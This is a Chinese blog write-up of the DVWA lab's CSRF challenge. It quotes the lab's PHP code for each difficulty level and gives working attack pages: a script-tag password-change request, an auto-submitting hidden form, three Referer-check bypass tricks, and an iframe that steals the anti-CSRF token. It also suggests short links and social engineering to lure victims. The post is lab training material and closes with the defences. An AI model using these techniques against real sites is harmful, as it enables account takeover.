往期博文:
DVWA靶场-Brute Force Source 暴力破解
靶场环境搭建
目录
CSRF 跨站请求伪造
Low CSRF
核心代码
<?php ···
if( isset( $_GET[ 'Change' ] ) ) { // 获取密码 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// 密码是否一致 if( $pass_new == $pass_conf ) { // 如果一致,更新数据库 $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } }
··· ?> |
由于get 方式得到的,且没有任何的防御措施,用户只需访问以下url,便可直接修改密码。
那么,怎么样让攻击更为隐蔽且更为符合实际呢
1、短网址
我这里使用的是站长之家的短链生成
使用短链生成工具,当受害者访问这个网址的时候,会被重定向
http://tool.chinaz.com/Tools/dwz.aspx
使用curl -i 可以看查看重定向信息
2、配合XSS
XSS和CSRF 结合使用,会使攻击更加隐蔽
这里我们在本地搭一个html 页面,在其中插入
<script src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
类似的还有
iframe 标签(加上)、img标签,
凡是带有src 属性的标签都可以配合CSRF使用,至于页面的的设计,如何诱使用户进入页面等等,就要看社工的水平了。
我们来模拟这样一个场景
本地服务器搭建html页面:
csrf_payload.html
<html>
<head>
<title>XSS&CSRF</title>
</head>
<body>
<script src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#"></script>
</body>
</html>
在用户当前浏览器中访问这个页面,DVWA的admin用户的密码就被修改了。
Medium CSRF
核心代码
<?php ···
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { ··· }else { echo "<pre>That request didn't look correct.</pre>"; }
··· ?> |
stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返回True,反之False
相较于low 版,中级增加了 使用stripos()函数来验证 http_referer 和 server_name是否来自同一域,我们只需要手动修改提交的referer 字段,就可轻松绕过 。
同样,如何让其更具实际呢
我们构造如下html页面:
<html>
<head>
<meta charset='utf-8'>
</head>
<body>
<form
method = "get" id = "csrf_test" action = "http://192.168.1.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123.com">
<input type="hidden" name="password_conf" value="123.com">
<input type="hidden" name="Change" value="Change">
</form>
<script>document.forms["csrf_test"].submit();//自动触发csrf_test表单
</script>
</body>
直接访问,这个页面,会被referer检测机制阻拦,如何绕过呢
绕过referer检测
本地搭建一台http服务器,ip:192.168.1.156,使用上述代码创建html页面
目录混淆
在http服务器的web 根目录下创建目录 192.168.1.200
使用当前浏览器直接访问
文件名混淆
将html 文件改名为 192.168.1.200.html
使用当前浏览器直接访问
?传参混淆
? .. 会被当作是传递的参数,这里我们只传值,不会对页面产生影响
使用当前浏览器直接访问
以上三种绕过方式都可以绕过,referer 字段检测,修改账户密码
访问成功后,页面会直接跳转,到该页面,显示密码成功修改
High CSRF
核心代码
<?php ···
// 验证token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
··· ?> |
相较于low 难度,高级难度增加了token 验证机制,我们就需要先获得token值,再对其进行攻击
我们构建如下html页面
scrf_high.html
<html>
<script>
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("csrf").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("csrf_high").submit();
}
</script>
<iframe src="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/" id="csrf" border="0" style="display:none;"></iframe>
<body onload="attack()">
<form method="GET" id="csrf_high" action="http://192.168.1.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
在html页面中构造一个iframe 框架,它会获得当前的token值,使用获取到的token值向服务器发送修改密码的get请求,服务器响应,修改成功。但是,这种方法会受到不能跨域的限制,我这里只能将其放入到DVWA 靶场服务器的web根目录下,测试效果。
访问页面:
页面跳转修改成功
Impossible CSRF
核心代码
<?php
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = mysqli_real_escape_string( $pass_curr ); $pass_curr = md5( $pass_curr );
// Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysqli_real_escape_string( $pass_new ) ; $pass_new = md5( $pass_new );
// Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } }
// Generate Anti-CSRF token generateSessionToken();
?> |
修改修改密码之前需要验证原始密码(简单粗暴),在攻击者不知道原始密码的基础上,是无法进行CSRF攻击的,这是比较常见的且有效的预防CSRF 攻击的防御手段,同时,在防御sql注入攻击上使用PDO 技术。
参考文章: